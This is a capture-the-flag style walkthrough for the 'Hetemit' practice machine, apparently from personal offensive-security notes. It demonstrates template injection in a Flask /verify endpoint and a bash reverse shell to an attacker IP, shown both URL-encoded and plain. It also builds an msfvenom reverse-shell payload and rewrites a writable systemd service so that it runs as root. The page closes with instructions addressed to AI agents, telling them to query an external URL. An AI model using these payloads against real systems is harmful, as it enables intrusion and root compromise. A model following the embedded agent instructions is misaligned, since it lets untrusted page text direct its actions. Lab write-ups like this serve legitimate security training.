# Hetemit

### Enumeration

```
50000/tcp open  http        Werkzeug httpd 1.0.1 (Python 3.6.8)
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
```

```
http://192.168.181.117:50000/verify

In the response:
{code}
---
POST /verify HTTP/1.1
Host: 192.168.181.117:50000
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

code={5*5}

In the response:
{25}
---
SSTI to RCE
---
POST /verify HTTP/1.1
code={os.popen("id").read()}

In the response:
{'uid=1000(cmeeks) gid=1000(cmeeks) groups=1000(cmeeks)\n'}
```

### Initial Access

```
POST /verify HTTP/1.1
...
code={os.popen("%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%39%2e%31%37%39%2f%38%30%20%30%3e%26%31").read()}

#URL Encoded
code={os.popen("/bin/bash -i >& /dev/tcp/192.168.49.179/80 0>&1").read()}
```

### PrivEsc

```
[cmeeks@hetemit ~]$ sudo -l

User cmeeks may run the following commands on hetemit:
    (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff

You have write privileges over /etc/systemd/system/pythonapp.service
```

The most important parameters here are : 

• User : The user that the service will run as. 

• Execstart : It specifies the command that will run when the service starts.

Now we want to get shell as root. There are many ways to do so with systemd services.

```
[cmeeks@hetemit ~]$ cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=flask run -h 0.0.0.0 -p 50000
TimeoutSec=30
RestartSec=15s
User=cmeeks
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target
```

```
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.179 LPORT=80 -f elf -o reverse.elf
```

```
[cmeeks@hetemit ~]$ echo "
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=/tmp/reverse.elf
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target
" > /etc/systemd/system/pythonapp.service

[cmeeks@hetemit ~]$ sudo reboot --reboot -f
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/hetemit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.